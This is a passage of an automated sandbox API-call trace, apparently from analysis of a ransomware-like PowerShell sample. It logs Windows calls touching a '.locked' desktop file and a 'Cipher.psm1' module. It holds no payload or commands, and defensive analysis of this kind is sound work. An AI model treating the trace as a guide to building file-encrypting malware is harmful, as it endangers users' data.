[1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.582] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.582] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.582] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.582] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.585] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.586] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.586] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x10, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.586] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.586] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x10, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x10, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.588] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x10, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.589] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.589] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x11, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.589] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x10, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.589] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x11, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x11, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.592] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x11, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.594] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x99adbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0127.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99add48) returned 1 [0127.594] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\azqwvoefgf.mp3.locked"), fInfoLevelId=0x0, lpFileInformation=0x69661e4 | out: lpFileInformation=0x69661e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf422661, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0xf422661, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0xf422661, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x13404)) returned 1 [0127.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99add44) returned 1 [0127.594] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ad824, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3.locked", lpFilePart=0x0) returned 0x33 [0127.594] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\azqwvoefgf.mp3.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868 [0127.595] GetFileInformationByHandle (in: hFile=0x868, lpFileInformation=0x99add90 | out: lpFileInformation=0x99add90) returned 1 [0127.595] CloseHandle (hObject=0x868) returned 1 [0127.596] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae400 | out: lpConsoleScreenBufferInfo=0x99ae400) returned 1 [0127.596] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae408 | out: lpMode=0x99ae408) returned 1 [0127.597] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae400, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae400*=0x2) returned 1 [0127.602] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3a4 | out: lpConsoleScreenBufferInfo=0x99ae3a4) returned 1 [0127.602] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3f8 | out: lpConsoleScreenBufferInfo=0x99ae3f8) returned 1 [0127.602] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae400 | out: lpMode=0x99ae400) returned 1 [0127.602] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3f8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3f8*=0x2) returned 1 [0127.606] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae408 | out: lpConsoleScreenBufferInfo=0x99ae408) returned 1 [0127.607] GetConsoleOutputCP () returned 0x1b5 [0127.607] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae18c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae18c) returned 0 [0127.607] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae258 | out: lpConsoleScreenBufferInfo=0x99ae258) returned 1 [0127.607] GetConsoleOutputCP () returned 0x1b5 [0127.608] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae1f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae1f4) returned 0 [0127.608] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae260 | out: lpMode=0x99ae260) returned 1 [0127.608] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x698e954*, nNumberOfCharsToWrite=0x2c, lpNumberOfCharsWritten=0x99ae258, lpReserved=0x0 | out: lpBuffer=0x698e954*, lpNumberOfCharsWritten=0x99ae258*=0x2c) returned 1 [0127.608] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae260 | out: lpMode=0x99ae260) returned 1 [0127.609] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae258, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae258*=0x2) returned 1 [0127.612] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae360 | out: lpConsoleScreenBufferInfo=0x99ae360) returned 1 [0127.612] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae368 | out: lpMode=0x99ae368) returned 1 [0127.612] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae360, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae360*=0x2) returned 1 [0127.616] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3f8 | out: lpConsoleScreenBufferInfo=0x99ae3f8) returned 1 [0127.616] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae400 | out: lpMode=0x99ae400) returned 1 [0127.617] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3f8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3f8*=0x2) returned 1 [0127.620] GetConsoleOutputCP () returned 0x1b5 [0127.620] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae218, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae218) returned 0 [0127.620] GetConsoleOutputCP () returned 0x1b5 [0127.620] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2b0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2b0) returned 0 [0127.620] GetConsoleOutputCP () returned 0x1b5 [0127.621] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae28c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae28c) returned 0 [0127.621] GetConsoleOutputCP () returned 0x1b5 [0127.621] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae28c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae28c) returned 0 [0127.621] GetConsoleOutputCP () returned 0x1b5 [0127.621] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae218, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae218) returned 0 [0127.621] GetConsoleOutputCP () returned 0x1b5 [0127.622] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2b0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2b0) returned 0 [0127.622] GetConsoleOutputCP () returned 0x1b5 [0127.622] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae28c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae28c) returned 0 [0127.622] GetConsoleOutputCP () returned 0x1b5 [0127.622] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae28c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae28c) returned 0 [0127.622] GetConsoleOutputCP () returned 0x1b5 [0127.622] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae218, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae218) returned 0 [0127.623] GetConsoleOutputCP () returned 0x1b5 [0127.623] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2b0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2b0) returned 0 [0127.623] GetConsoleOutputCP () returned 0x1b5 [0127.623] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae28c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae28c) returned 0 [0127.623] GetConsoleOutputCP () returned 0x1b5 [0127.624] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae28c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae28c) returned 0 [0127.624] GetConsoleOutputCP () returned 0x1b5 [0127.624] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae218, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae218) returned 0 [0127.624] GetConsoleOutputCP () returned 0x1b5 [0127.624] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2b0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2b0) returned 0 [0127.624] GetConsoleOutputCP () returned 0x1b5 [0127.625] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae28c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae28c) returned 0 [0127.625] GetConsoleOutputCP () returned 0x1b5 [0127.625] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae28c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae28c) returned 0 [0127.625] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae354 | out: lpConsoleScreenBufferInfo=0x99ae354) returned 1 [0127.625] GetConsoleOutputCP () returned 0x1b5 [0127.626] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2f0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2f0) returned 0 [0127.626] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae35c | out: lpMode=0x99ae35c) returned 1 [0127.626] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x698f778*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae354, lpReserved=0x0 | out: lpBuffer=0x698f778*, lpNumberOfCharsWritten=0x99ae354*=0x77) returned 1 [0127.626] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae35c | out: lpMode=0x99ae35c) returned 1 [0127.627] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae354, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae354*=0x2) returned 1 [0127.632] GetConsoleOutputCP () returned 0x1b5 [0127.634] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae350, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae350) returned 0 [0127.634] GetConsoleOutputCP () returned 0x1b5 [0127.635] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae350, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae350) returned 0 [0127.635] GetConsoleOutputCP () returned 0x1b5 [0127.635] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae350, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae350) returned 0 [0127.635] GetConsoleOutputCP () returned 0x1b5 [0127.635] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae350, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae350) returned 0 [0127.635] GetConsoleOutputCP () returned 0x1b5 [0127.636] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2dc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2dc) returned 0 [0127.636] GetConsoleOutputCP () returned 0x1b5 [0127.636] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2dc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2dc) returned 0 [0127.636] GetConsoleOutputCP () returned 0x1b5 [0127.636] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2dc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2dc) returned 0 [0127.636] GetConsoleOutputCP () returned 0x1b5 [0127.637] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2dc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2dc) returned 0 [0127.637] GetConsoleOutputCP () returned 0x1b5 [0127.637] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2dc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2dc) returned 0 [0127.637] GetConsoleOutputCP () returned 0x1b5 [0127.637] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2dc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2dc) returned 0 [0127.637] GetConsoleOutputCP () returned 0x1b5 [0127.637] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2dc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2dc) returned 0 [0127.638] GetConsoleOutputCP () returned 0x1b5 [0127.638] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2dc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2dc) returned 0 [0127.638] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae354 | out: lpConsoleScreenBufferInfo=0x99ae354) returned 1 [0127.638] GetConsoleOutputCP () returned 0x1b5 [0127.638] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2f0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2f0) returned 0 [0127.638] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae35c | out: lpMode=0x99ae35c) returned 1 [0127.639] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x69901d0*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae354, lpReserved=0x0 | out: lpBuffer=0x69901d0*, lpNumberOfCharsWritten=0x99ae354*=0x77) returned 1 [0127.639] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae35c | out: lpMode=0x99ae35c) returned 1 [0127.639] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae354, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae354*=0x2) returned 1 [0127.644] GetConsoleOutputCP () returned 0x1b5 [0127.644] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae250, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae250) returned 0 [0127.644] GetConsoleOutputCP () returned 0x1b5 [0127.645] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2e8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2e8) returned 0 [0127.645] GetConsoleOutputCP () returned 0x1b5 [0127.645] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.645] GetConsoleOutputCP () returned 0x1b5 [0127.645] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.645] GetConsoleOutputCP () returned 0x1b5 [0127.646] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae250, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae250) returned 0 [0127.646] GetConsoleOutputCP () returned 0x1b5 [0127.646] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2e8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2e8) returned 0 [0127.646] GetConsoleOutputCP () returned 0x1b5 [0127.646] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.646] GetConsoleOutputCP () returned 0x1b5 [0127.646] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.647] GetConsoleOutputCP () returned 0x1b5 [0127.647] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae250, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae250) returned 0 [0127.647] GetConsoleOutputCP () returned 0x1b5 [0127.647] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2e8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2e8) returned 0 [0127.647] GetConsoleOutputCP () returned 0x1b5 [0127.647] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.647] GetConsoleOutputCP () returned 0x1b5 [0127.648] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.648] GetConsoleOutputCP () returned 0x1b5 [0127.648] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae250, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae250) returned 0 [0127.648] GetConsoleOutputCP () returned 0x1b5 [0127.648] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2e8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2e8) returned 0 [0127.648] GetConsoleOutputCP () returned 0x1b5 [0127.649] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.649] GetConsoleOutputCP () returned 0x1b5 [0127.649] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.649] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae38c | out: lpConsoleScreenBufferInfo=0x99ae38c) returned 1 [0127.649] GetConsoleOutputCP () returned 0x1b5 [0127.650] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae328, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae328) returned 0 [0127.650] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae394 | out: lpMode=0x99ae394) returned 1 [0127.650] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6991fcc*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae38c, lpReserved=0x0 | out: lpBuffer=0x6991fcc*, lpNumberOfCharsWritten=0x99ae38c*=0x77) returned 1 [0127.650] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae394 | out: lpMode=0x99ae394) returned 1 [0127.651] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae38c, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae38c*=0x2) returned 1 [0127.655] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee08*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee08*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x11, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.655] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.655] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeaa4, nSize=0x100 | out: lpBuffer="\xba00\x691\xba60\x691\xba18\x691\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\xce08\x686\x92e4\x68d\x4024\x679\xd700\x686\x9400\x68d\x2eb7\x73ad\xebd8\x99a\x3e98\x7405\xffff\xffff\x443e\x73b8\x446c\x73b8\xde1c\x664\x1082\x73b6\xbab0\x42f\x108e\x73b6\x2ddc\x73ad\xec0c\x99a\xde1c\x664\x04") returned 0x0 [0127.655] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0127.655] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aee7c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, 